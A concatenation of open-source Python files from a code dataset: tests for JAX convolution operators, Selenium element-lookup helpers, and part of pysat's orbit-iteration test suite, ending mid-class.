test_mul_div_generic_linop(testobj, operator): # not defined between Convolve and AbsMatOp with pytest.raises(TypeError): operator(testobj.A, testobj.G) def test_invalid_mode(testobj): # mode that doesn't exist with pytest.raises(ValueError): Convolve(input_shape=(32,), h=testobj.psf_A, mode="foo") def test_dimension_mismatch(testobj): with pytest.raises(ValueError): # 2-dim input shape, 1-dim filter Convolve(input_shape=(32, 32), h=testobj.psf_A) def test_ndarray_h(): h = np.random.randn(3, 3).astype(np.float32) A = Convolve(input_shape=(32, 32), h=h) assert isinstance(A.h, jax.interpreters.xla.DeviceArray) class TestConvolveByX: def setup_method(self, method): self.key = jax.random.PRNGKey(12345) @pytest.mark.parametrize("input_dtype", [np.float32, np.complex64]) @pytest.mark.parametrize("input_shape", [(32,), (32, 48)]) @pytest.mark.parametrize("mode", ["full", "valid", "same"]) @pytest.mark.parametrize("jit", [False, True]) def test_eval(self, input_shape, input_dtype, mode, jit): ndim = len(input_shape) x_shape = (3, 4)[:ndim] h, key = randn(input_shape, dtype=input_dtype, key=self.key) x, key = randn(x_shape, dtype=input_dtype, key=key) A = ConvolveByX(x=x, input_shape=input_shape, input_dtype=input_dtype, mode=mode, jit=jit) Ax = A @ h y = signal.convolve(x, h, mode=mode) np.testing.assert_allclose(Ax.ravel(), y.ravel(), rtol=1e-4) @pytest.mark.parametrize("input_dtype", [np.float32, np.complex64]) @pytest.mark.parametrize("input_shape", [(32,), (32, 48)]) @pytest.mark.parametrize("mode", ["full", "valid", "same"]) @pytest.mark.parametrize("jit", [False, True]) def test_adjoint(self, input_shape, mode, jit, input_dtype): ndim = len(input_shape) x_shape = (3, 4)[:ndim] x, key = randn(input_shape, dtype=input_dtype, key=self.key) x, key = randn(x_shape, dtype=input_dtype, key=key) A = ConvolveByX(x=x, input_shape=input_shape, input_dtype=input_dtype, mode=mode, jit=jit) adjoint_AtA_test(A, self.key) adjoint_AAt_test(A, self.key) class ConvolveByXTestObj: def __init__(self): dtype = np.float32 key = jax.random.PRNGKey(12345) self.x_A, key = randn((3,), dtype=dtype, key=key) self.x_B, key = randn((3,), dtype=dtype, key=key) self.x_C, key = randn((5,), dtype=dtype, key=key) self.A = ConvolveByX(input_shape=(32,), x=self.x_A) self.B = ConvolveByX(input_shape=(32,), x=self.x_B) self.C = ConvolveByX(input_shape=(32,), x=self.x_C) # Matrix for a 'generic linop' m = self.A.output_shape[0] n = self.A.input_shape[0] G_mat, key = randn((m, n), dtype=dtype, key=key) self.G = AbsMatOp(G_mat) self.h, key = randn((32,), dtype=dtype, key=key) self.scalar = 3.141 @pytest.fixture def cbx_testobj(request): yield ConvolveByXTestObj() @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def test_cbx_scalar_left(cbx_testobj, operator): A = operator(cbx_testobj.A, cbx_testobj.scalar) h = cbx_testobj.h B = ConvolveByX(input_shape=(32,), x=operator(cbx_testobj.x_A, cbx_testobj.scalar)) np.testing.assert_allclose(A @ h, B @ h, rtol=5e-5) @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def test_cbx_scalar_right(cbx_testobj, operator): if operator == op.truediv: pytest.xfail("scalar / LinearOperator is not supported") A = operator(cbx_testobj.scalar, cbx_testobj.A) h = cbx_testobj.h B = ConvolveByX(input_shape=(32,), x=operator(cbx_testobj.scalar, cbx_testobj.x_A)) np.testing.assert_allclose(A @ h, B @ h, rtol=5e-5) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_convolve_add_sub(cbx_testobj, operator): A = cbx_testobj.A B = cbx_testobj.B C = cbx_testobj.C h = cbx_testobj.h # Two operators of same size AB = operator(A, B) ABh = AB @ h AfiltBh = operator(A @ h, B @ h) np.testing.assert_allclose(ABh, AfiltBh, rtol=5e-5) # Two operators of different size with pytest.raises(ValueError): operator(A, C) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sub_different_mode(cbx_testobj, operator): # These tests get caught inside of the _wrap_add_sub input/output shape checks, # not the explicit mode check inside of the wrapped __add__ method B_same = ConvolveByX(input_shape=(32,), x=cbx_testobj.x_B, mode="same") with pytest.raises(ValueError): operator(cbx_testobj.A, B_same) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sum_generic_linop(cbx_testobj, operator): # Combine a AbsMatOp and ConvolveByX, get a generic LinearOperator AG = operator(cbx_testobj.A, cbx_testobj.G) assert isinstance(AG, LinearOperator) # Check evaluation a = AG @ cbx_testobj.h b = operator(cbx_testobj.A @ cbx_testobj.h, cbx_testobj.G @ cbx_testobj.h) np.testing.assert_allclose(a, b, rtol=5e-5) @pytest.mark.parametrize("operator", [op.add, op.sub]) def test_add_sum_conv(cbx_testobj, operator): # Combine a AbsMatOp and ConvolveByX, get a generic LinearOperator AA = operator(cbx_testobj.A, cbx_testobj.A) assert isinstance(AA, ConvolveByX) # Check evaluation a = AA @ cbx_testobj.h b = operator(cbx_testobj.A @ cbx_testobj.h, cbx_testobj.A @ cbx_testobj.h) np.testing.assert_allclose(a, b, rtol=5e-5) @pytest.mark.parametrize("operator", [op.mul, op.truediv]) def test_mul_div_generic_linop(cbx_testobj, operator): # not defined between ConvolveByX and AbsMatOp with pytest.raises(TypeError): operator(cbx_testobj.A, cbx_testobj.G) def test_invalid_mode(cbx_testobj): # mode that doesn't exist with pytest.raises(ValueError): ConvolveByX(input_shape=(32,), x=cbx_testobj.x_A, mode="foo") def test_dimension_mismatch(cbx_testobj): with pytest.raises(ValueError): # 2-dim input shape, 1-dim xer ConvolveByX(input_shape=(32, 32), x=cbx_testobj.x_A) def test_ndarray_x(): x = np.random.randn(3, 3).astype(np.float32) A = ConvolveByX(input_shape=(32, 32), x=x) assert isinstance(A.x, jax.interpreters.xla.DeviceArray)

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null

0

1

0

null

0

6

fcea3490809be4f9eaacd1e68c9e8ae90e80a7ce

4,115

py

Python

unifier/sutil.py

jtorreshnl/unifier

dba0de9af7ec0f749b1be67cea200622f66beadc

[ "MIT" ]

null

unifier/sutil.py

jtorreshnl/unifier

dba0de9af7ec0f749b1be67cea200622f66beadc

[ "MIT" ]

null

unifier/sutil.py

jtorreshnl/unifier

dba0de9af7ec0f749b1be67cea200622f66beadc

[ "MIT" ]

null

from selenium.webdriver.common.by import ( By ) from selenium.webdriver.support import ( expected_conditions as EC ) from selenium.webdriver.support.ui import ( WebDriverWait ) def get_element_by_css_selector(driver, tag, value): ''' Get a specified element by tag and attribute value. ''' is_located = WebDriverWait(driver, 4).until( EC.visibility_of_element_located((By.CSS_SELECTOR, f'{tag}.{value}')) ) if is_located: return driver.find_element(By.CSS_SELECTOR, f'{tag}.{value}') def get_element_by_id(driver, id): ''' Get a specified element by id. Wait until the element is visible. ''' is_located = WebDriverWait(driver, 4).until( EC.visibility_of_element_located((By.ID, id)) ) if is_located: return driver.find_element(By.ID, id) def get_element_by_id_clickable(driver, id): ''' Get elements by id. ''' is_located = WebDriverWait(driver, 4).until( EC.element_to_be_clickable((By.ID, id)) ) if is_located: return driver.find_element(By.ID, id) def get_element_by_id_ext(driver, id): ''' Get a specified element by id. Wait until the element is visible. ''' is_located = WebDriverWait(driver, 10).until( EC.visibility_of_element_located((By.ID, id)) ) if is_located: return driver.find_element(By.ID, id) def get_element_by_tag(driver, tag): ''' Get a specified element by tag. Wait until the element is visible. ''' is_located = WebDriverWait(driver, 4).until( EC.visibility_of_element_located((By.TAG_NAME, tag)) ) if is_located: return driver.find_element(By.TAG_NAME, tag) def get_element_by_tag_and_text(driver, tag, text): ''' Get a specified element by tag and text. Wait until the element is visible. ''' is_located = WebDriverWait(driver, 4).until( EC.text_to_be_present_in_element((By.TAG_NAME, tag), text) ) if is_located: return driver.find_element(By.TAG_NAME, tag) def get_element_by_xpath(driver, xpath): ''' Get element by xpath. ''' is_located = WebDriverWait(driver, 4).until( EC.presence_of_element_located((By.XPATH, f'{xpath}')) ) if is_located: return driver.find_element(By.XPATH, f'{xpath}') def get_element_by_xpath_clickable(driver, xpath): ''' Get element by xpath. ''' is_located = WebDriverWait(driver, 4).until( EC.element_to_be_clickable((By.XPATH, f'{xpath}')) ) if is_located: return driver.find_element(By.XPATH, f'{xpath}') def get_element_by_xpath_visible(driver, xpath): ''' Get element by xpath. ''' is_located = WebDriverWait(driver, 4).until( EC.visibility_of_element_located((By.XPATH, f'{xpath}')) ) if is_located: return driver.find_element(By.XPATH, f'{xpath}') def get_elements_by_css_selector(driver, selector): ''' Get elements by css selector. ''' is_located = WebDriverWait(driver, 4).until( EC.presence_of_all_elements_located((By.CSS_SELECTOR, f'{selector}')) ) if is_located: return driver.find_elements(By.CSS_SELECTOR, f'{selector}') def get_elements_by_tag(driver, tag): ''' Get all elements by tag. Wait until the elements are visible. ''' is_located = WebDriverWait(driver, 4).until( EC.visibility_of_element_located((By.TAG_NAME, tag)) ) if is_located: return driver.find_elements(By.TAG_NAME, tag) def get_elements_by_tag_ext(driver, tag): ''' Get all elements by tag. Wait until the elements are visible. ''' is_located = WebDriverWait(driver, 10).until( EC.visibility_of_element_located((By.TAG_NAME, tag)) ) if is_located: return driver.find_elements(By.TAG_NAME, tag) def get_elements_by_xpath(driver, xpath): ''' Get elements by xpath. ''' is_located = WebDriverWait(driver, 4).until( EC.presence_of_all_elements_located((By.XPATH, f'{xpath}')) ) if is_located: return driver.find_elements(By.XPATH, f'{xpath}')

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0.779693

0.758238

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0

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0.214338

4,115

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27.993197

0.80266

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fcef7bfe5a1e708cfcd8985c0ae02e4fd2f6eec0

37,242

py

Python

pysat/tests/test_orbits.py

pysat/pysat

4d12a09ea585b88d54560413e03cae9289113718

[ "BSD-3-Clause" ]

68

2019-09-18T19:08:07.000Z

2022-03-28T23:22:04.000Z

pysat/tests/test_orbits.py

iamaSam/pysat

4d12a09ea585b88d54560413e03cae9289113718

[ "BSD-3-Clause" ]

603

2019-09-18T15:24:37.000Z

2022-03-30T20:13:43.000Z

pysat/tests/test_orbits.py

iamaSam/pysat

4d12a09ea585b88d54560413e03cae9289113718

[ "BSD-3-Clause" ]

24

2015-04-08T09:33:51.000Z

2019-09-06T22:01:34.000Z

import datetime as dt from dateutil.relativedelta import relativedelta import numpy as np import pandas as pds # Orbits period is a pandas.Timedelta kwarg, and the pandas repr # does not include a module name. Import required to run eval # on Orbit representation from pandas import Timedelta # noqa: F401 import pytest import pysat class TestOrbitsUserInterface(): def setup(self): """ Set up User Interface unit tests """ self.in_args = ['pysat', 'testing'] self.in_kwargs = {'clean_level': 'clean', 'update_files': True} self.testInst = None self.stime = dt.datetime(2009, 1, 1) def teardown(self): """ Tear down user interface tests """ del self.in_args, self.in_kwargs, self.testInst, self.stime def test_orbit_w_bad_kind(self): """ Test orbit failure with bad 'kind' input """ self.in_kwargs['orbit_info'] = {'index': 'mlt', 'kind': 'cats'} with pytest.raises(ValueError): self.testInst = pysat.Instrument(*self.in_args, **self.in_kwargs) @pytest.mark.parametrize("info", [({'index': 'magnetic local time', 'kind': 'longitude'}), (None), ({'index': 'magnetic local time', 'kind': 'lt'}), ({'index': 'magnetic local time', 'kind': 'polar'}), ({'index': 'magnetic local time', 'kind': 'orbit'})]) def test_orbit_w_bad_orbit_info(self, info): """ Test orbit failure on iteration with orbit initialization """ self.in_kwargs['orbit_info'] = info self.testInst = pysat.Instrument(*self.in_args, **self.in_kwargs) self.testInst.load(date=self.stime) with pytest.raises(ValueError): self.testInst.orbits.next() @pytest.mark.parametrize("info", [({'index': 'magnetic local time', 'kind': 'polar'}), ({'index': 'magnetic local time', 'kind': 'orbit'}), ({'index': 'magnetic local time', 'kind': 'longitude'}), ({'index': 'magnetic local time', 'kind': 'lt'})]) def test_orbit_polar_w_missing_orbit_index(self, info): """ Test orbit failure oon iteration with missing orbit index """ self.in_kwargs['orbit_info'] = info self.testInst = pysat.Instrument(*self.in_args, **self.in_kwargs) # Force index to None beforee loading and iterating self.testInst.orbits.orbit_index = None self.testInst.load(date=self.stime) with pytest.raises(ValueError): self.testInst.orbits.next() def test_orbit_repr(self): """ Test the Orbit representation """ self.in_kwargs['orbit_info'] = {'index': 'mlt'} self.testInst = pysat.Instrument(*self.in_args, **self.in_kwargs) out_str = self.testInst.orbits.__repr__() assert out_str.find("Orbits(") >= 0 def test_orbit_str(self): """ Test the Orbit string representation with data """ self.in_kwargs['orbit_info'] = {'index': 'mlt'} self.testInst = pysat.Instrument(*self.in_args, **self.in_kwargs) self.testInst.load(date=self.stime) out_str = self.testInst.orbits.__str__() assert out_str.find("Orbit Settings") >= 0 assert out_str.find("Orbit Lind: local time") < 0 class TestSpecificUTOrbits(): def setup(self): """Runs before every method to create a clean testing setup """ self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] self.inc_min = 97 self.etime = None def teardown(self): """Runs after every method to clean up previous testing """ del self.testInst, self.stime, self.inc_min, self.etime @pytest.mark.parametrize('orbit_inc', [(0), (1), (-1), (-2), (14)]) def test_single_orbit_call_by_index(self, orbit_inc): """Test successful orbit call by index """ # Load the data self.testInst.load(date=self.stime) self.testInst.orbits[orbit_inc] # Increment the time if orbit_inc >= 0: self.stime += dt.timedelta(minutes=orbit_inc * self.inc_min) else: self.stime += dt.timedelta(minutes=self.inc_min * (np.ceil(1440.0 / self.inc_min) + orbit_inc)) self.etime = self.stime + dt.timedelta(seconds=(self.inc_min * 60 - 1)) # Test the time assert (self.testInst.index[0] == self.stime) assert (self.testInst.index[-1] == self.etime) @pytest.mark.parametrize("orbit_ind,raise_err", [(17, Exception), (None, TypeError)]) def test_single_orbit_call_bad_index(self, orbit_ind, raise_err): """ Test orbit failure with bad index """ self.testInst.load(date=self.stime) with pytest.raises(raise_err): self.testInst.orbits[orbit_ind] def test_oribt_number_via_current_multiple_orbit_calls_in_day(self): """ Test orbit number with mulitple orbits calls in a day """ self.testInst.load(date=self.stime) self.testInst.bounds = (self.stime, None) true_vals = np.arange(15) true_vals[-1] = 0 test_vals = [] for i, inst in enumerate(self.testInst.orbits): if i > 14: break test_vals.append(inst.orbits.current) assert inst.orbits.current == self.testInst.orbits.current assert np.all(test_vals == true_vals) def test_all_single_orbit_calls_in_day(self): """ Test all single orbit calls in a day """ self.testInst.load(date=self.stime) self.testInst.bounds = (self.stime, None) for i, inst in enumerate(self.testInst.orbits): if i > 14: break # Test the start index self.etime = self.stime + i * relativedelta(minutes=self.inc_min) assert inst.index[0] == self.etime assert self.testInst.index[0] == self.etime # Test the end index self.etime += relativedelta(seconds=((self.inc_min * 60) - 1)) assert inst.index[-1] == self.etime assert self.testInst.index[-1] == self.etime def test_orbit_next_call_no_loaded_data(self): """ Test orbit next call without loading data """ self.testInst.orbits.next() assert (self.testInst.index[0] == dt.datetime(2008, 1, 1)) assert (self.testInst.index[-1] == dt.datetime(2008, 1, 1, 0, 38, 59)) def test_orbit_prev_call_no_loaded_data(self): """ Test orbit previous call without loading data """ self.testInst.orbits.prev() # this isn't a full orbit assert (self.testInst.index[-1] == dt.datetime(2010, 12, 31, 23, 59, 59)) assert (self.testInst.index[0] == dt.datetime(2010, 12, 31, 23, 49)) def test_single_orbit_call_orbit_starts_0_UT_using_next(self): """ Test orbit next call with data """ self.testInst.load(date=self.stime) self.testInst.orbits.next() self.etime = self.stime + dt.timedelta(seconds=(self.inc_min * 60 - 1)) assert (self.testInst.index[0] == self.stime) assert (self.testInst.index[-1] == self.etime) def test_single_orbit_call_orbit_starts_0_UT_using_prev(self): """ Test orbit prev call with data """ self.testInst.load(date=self.stime) self.testInst.orbits.prev() self.stime += 14 * relativedelta(minutes=self.inc_min) self.etime = self.stime + dt.timedelta(seconds=((self.inc_min * 60) - 1)) assert self.testInst.index[0] == self.stime assert self.testInst.index[-1] == self.etime def test_single_orbit_call_orbit_starts_off_0_UT_using_next(self): """ Test orbit next call with data for previous day """ self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.next() assert (self.testInst.index[0] == dt.datetime(2008, 12, 30, 23, 45)) assert (self.testInst.index[-1] == (dt.datetime(2008, 12, 30, 23, 45) + relativedelta(seconds=(self.inc_min * 60 - 1)))) def test_single_orbit_call_orbit_starts_off_0_UT_using_prev(self): self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.prev() assert (self.testInst.index[0] == (dt.datetime(2009, 1, 1) - relativedelta(minutes=self.inc_min))) assert (self.testInst.index[-1] == (dt.datetime(2009, 1, 1) - relativedelta(seconds=1))) class TestGeneralOrbitsMLT(): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] return def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime return def test_equality_with_copy(self): """Test that copy is the same as original""" self.out = self.testInst.orbits.copy() assert self.out == self.testInst.orbits return def test_equality_with_data_with_copy(self): """Test that copy is the same as original""" # Load data self.testInst.load(date=self.stime) # Load up an orbit self.testInst.orbits[0] self.out = self.testInst.orbits.copy() assert self.out == self.testInst.orbits return def test_inequality_different_data(self): """Test that equality is false if different data""" # Load data self.testInst.load(date=self.stime) # Load up an orbit self.testInst.orbits[0] # Make copy self.out = self.testInst.orbits.copy() # Modify data self.out._full_day_data = self.testInst._null_data assert self.out != self.testInst.orbits return def test_inequality_modified_object(self): """Test that equality is false if other missing attributes""" self.out = self.testInst.orbits.copy() # Remove attribute del self.out.orbit_index assert self.testInst.orbits != self.out return def test_inequality_reduced_object(self): """Test that equality is false if self missing attributes""" self.out = self.testInst.orbits.copy() self.out.hi_there = 'hi' assert self.testInst.orbits != self.out return def test_inequality_different_type(self): """Test that equality is false if different type""" assert self.testInst.orbits != self.testInst return def test_eval_repr(self): """Test eval of repr recreates object""" # eval and repr don't play nice for custom functions if len(self.testInst.custom_functions) != 0: self.testInst.custom_clear() self.out = eval(self.testInst.orbits.__repr__()) assert self.out == self.testInst.orbits return def test_repr_and_copy(self): """Test repr consistent with object copy""" # Not tested with eval due to issues with datetime self.out = self.testInst.orbits.__repr__() second_out = self.testInst.orbits.copy().__repr__() assert self.out == second_out return def test_load_orbits_w_empty_data(self): """ Test orbit loading outside of the instrument data range """ self.stime -= dt.timedelta(days=365 * 100) self.testInst.load(date=self.stime) self.testInst.orbits[0] with pytest.raises(StopIteration): self.testInst.orbits.next() def test_less_than_one_orbit_of_data(self): """Test successful load with less than one orbit of data """ def filter_data(inst): """ Local helper function to reduce available data """ inst.data = inst[0:20] self.testInst.custom_attach(filter_data) self.testInst.load(date=self.stime) self.testInst.orbits.next() # a recusion issue has been observed in this area # checking for date to limit reintroduction potential assert self.testInst.date == self.stime def test_less_than_one_orbit_of_data_two_ways(self): def filter_data(inst): inst.data = inst[0:5] self.testInst.custom_attach(filter_data) self.testInst.load(date=self.stime) # starting from no orbit calls next loads first orbit self.testInst.orbits.next() # store comparison data saved_data = self.testInst.copy() self.testInst.load(date=self.stime) self.testInst.orbits[0] assert all(self.testInst.data == saved_data.data) # a recusion issue has been observed in this area # checking for date to limit reintroduction potential d1check = self.testInst.date == saved_data.date assert d1check def test_less_than_one_orbit_of_data_four_ways_two_days(self): """ Test successful loading of different parital orbits """ # create situation where the < 1 orbit split across two days def filter_data(inst): """Local function for breaking up orbits """ if inst.date == dt.datetime(2009, 1, 5): inst.data = inst[0:20] elif inst.date == dt.datetime(2009, 1, 4): inst.data = inst[-20:] return self.testInst.custom_attach(filter_data) self.stime += dt.timedelta(days=3) self.testInst.load(date=self.stime) # starting from no orbit calls next loads first orbit self.testInst.orbits.next() # store comparison data saved_data = self.testInst.copy() self.testInst.load(date=self.stime + dt.timedelta(days=1)) self.testInst.orbits[0] if self.testInst.orbits.num == 1: # equivalence only when only one orbit # some test settings can violate this assumption assert all(self.testInst.data == saved_data.data) self.testInst.load(date=self.stime) self.testInst.orbits[0] assert all(self.testInst.data == saved_data.data) self.testInst.load(date=self.stime + dt.timedelta(days=1)) self.testInst.orbits.prev() if self.testInst.orbits.num == 1: assert all(self.testInst.data == saved_data.data) # a recusion issue has been observed in this area # checking for date to limit reintroduction potential d1check = self.testInst.date == saved_data.date assert d1check def test_repeated_orbit_calls_symmetric_single_day_start_with_last(self): self.testInst.load(date=self.stime) # start on last orbit of last day self.testInst.orbits[0] self.testInst.orbits.prev() control = self.testInst.copy() for j in range(10): self.testInst.orbits.next() for j in range(10): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_symmetric_single_day_0_UT(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(10): self.testInst.orbits.next() for j in range(10): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_symmetric_multi_day_0_UT(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(20): self.testInst.orbits.next() for j in range(20): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_symmetric_single_day_off_0_UT(self): """ Test successful orbit calls for a day about a time off 00:00 UT """ self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(10): self.testInst.orbits.next() for j in range(10): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_symmetric_multi_day_off_0_UT(self): """ Test successful orbit calls for days about a time off 00:00 UT """ self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(20): self.testInst.orbits.next() for j in range(20): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_antisymmetric_multi_day_off_0_UT(self): """ Test successful orbit calls for different days about a time off 0 UT """ self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(10): self.testInst.orbits.next() for j in range(20): self.testInst.orbits.prev() for j in range(10): self.testInst.orbits.next() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_antisymmetric_multi_multi_day_off_0_UT(self): """ Test successful orbit calls for more days about a time off 0 UT """ self.stime -= dt.timedelta(days=1) self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(20): self.testInst.orbits.next() for j in range(40): self.testInst.orbits.prev() for j in range(20): self.testInst.orbits.next() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_antisymmetric_multi_day_0_UT(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(10): self.testInst.orbits.next() for j in range(20): self.testInst.orbits.prev() for j in range(10): self.testInst.orbits.next() assert all(control.data == self.testInst.data) def test_repeated_orbit_calls_antisymmetric_multi_multi_day_0_UT(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(20): self.testInst.orbits.next() for j in range(40): self.testInst.orbits.prev() for j in range(20): self.testInst.orbits.next() assert all(control.data == self.testInst.data) def test_repeat_orbit_calls_asym_multi_day_0_UT_long_time_gap(self): """Test successful orbit calls for many different days with a long gap """ self.stime += dt.timedelta(days=334) self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(20): self.testInst.orbits.next() for j in range(20): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeat_orbit_calls_asym_multi_day_0_UT_really_long_time_gap(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() for j in range(400): self.testInst.orbits.next() for j in range(400): self.testInst.orbits.prev() assert all(control.data == self.testInst.data) def test_repeat_orbit_calls_asym_multi_day_0_UT_multiple_time_gaps(self): self.testInst.load(date=self.stime) self.testInst.orbits.next() control = self.testInst.copy() n_time = [] p_time = [] for j in range(40): n_time.append(self.testInst.index[0]) self.testInst.orbits.next() for j in range(40): self.testInst.orbits.prev() p_time.append(self.testInst.index[0]) check = np.all(p_time == n_time[::-1]) assert all(control.data == self.testInst.data) & check class TestGeneralOrbitsMLTxarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.stime = pysat.instruments.pysat_testing_xarray._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsNonStandardIteration(): """Create an iteration window that is larger than step size. Ensure the overlapping data doesn't end up in the orbit iteration.""" def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.testInst.bounds = (self.testInst.files.files.index[0], self.testInst.files.files.index[11], '2D', dt.timedelta(days=3)) self.orbit_starts = [] self.orbit_stops = [] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.orbit_starts, self.orbit_stops def test_no_orbit_overlap_with_overlapping_iteration(self): """Ensure error when overlap in iteration data.""" with pytest.raises(ValueError): self.testInst.orbits.next() return @pytest.mark.parametrize("bounds_type", ['by_date', 'by_file']) def test_no_orbit_overlap_with_nonoverlapping_iteration(self, bounds_type): """Test no orbit data overlap when overlap in iteration data""" if bounds_type == 'by_date': bounds = (self.testInst.files.files.index[0], self.testInst.files.files.index[11], '2D', dt.timedelta(days=2)) elif bounds_type == 'by_file': bounds = (self.testInst.files[0], self.testInst.files[11], 2, 2) self.testInst.bounds = bounds for inst in self.testInst.orbits: self.orbit_starts.append(inst.index[0]) self.orbit_stops.append(inst.index[-1]) self.orbit_starts = pds.Series(self.orbit_starts) self.orbit_stops = pds.Series(self.orbit_stops) assert self.orbit_starts.is_monotonic_increasing assert self.orbit_stops.is_monotonic_increasing return class TestGeneralOrbitsLong(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'longitude', 'kind': 'longitude'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsLongxarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'longitude', 'kind': 'longitude'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsOrbitNumber(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'orbit_num', 'kind': 'orbit'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsOrbitNumberXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'orbit_num', 'kind': 'orbit'}, update_files=True) self.stime = pysat.instruments.pysat_testing_xarray._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsLatitude(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'latitude', 'kind': 'polar'}, update_files=True) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestGeneralOrbitsLatitudeXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'latitude', 'kind': 'polar'}, update_files=True) self.stime = pysat.instruments.pysat_testing_xarray._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime def filter_data(inst): """Remove data from instrument, simulating gaps""" times = [[dt.datetime(2009, 1, 1, 1, 37), dt.datetime(2009, 1, 1, 3, 14)], [dt.datetime(2009, 1, 1, 10), dt.datetime(2009, 1, 1, 12)], [dt.datetime(2009, 1, 1, 22), dt.datetime(2009, 1, 2, 2)], [dt.datetime(2009, 1, 13), dt.datetime(2009, 1, 15)], [dt.datetime(2009, 1, 20, 1), dt.datetime(2009, 1, 25, 23)], [dt.datetime(2009, 1, 25, 23, 30), dt.datetime(2009, 1, 26, 3)] ] for time in times: idx, = np.where((inst.index > time[1]) | (inst.index < time[0])) inst.data = inst[idx] def filter_data2(inst, times=None): """Remove data from instrument, simulating gaps""" for time in times: idx, = np.where((inst.index > time[1]) | (inst.index < time[0])) inst.data = inst[idx] class TestOrbitsGappyData(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyDataXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'mlt'}, update_files=True) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyData2(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', 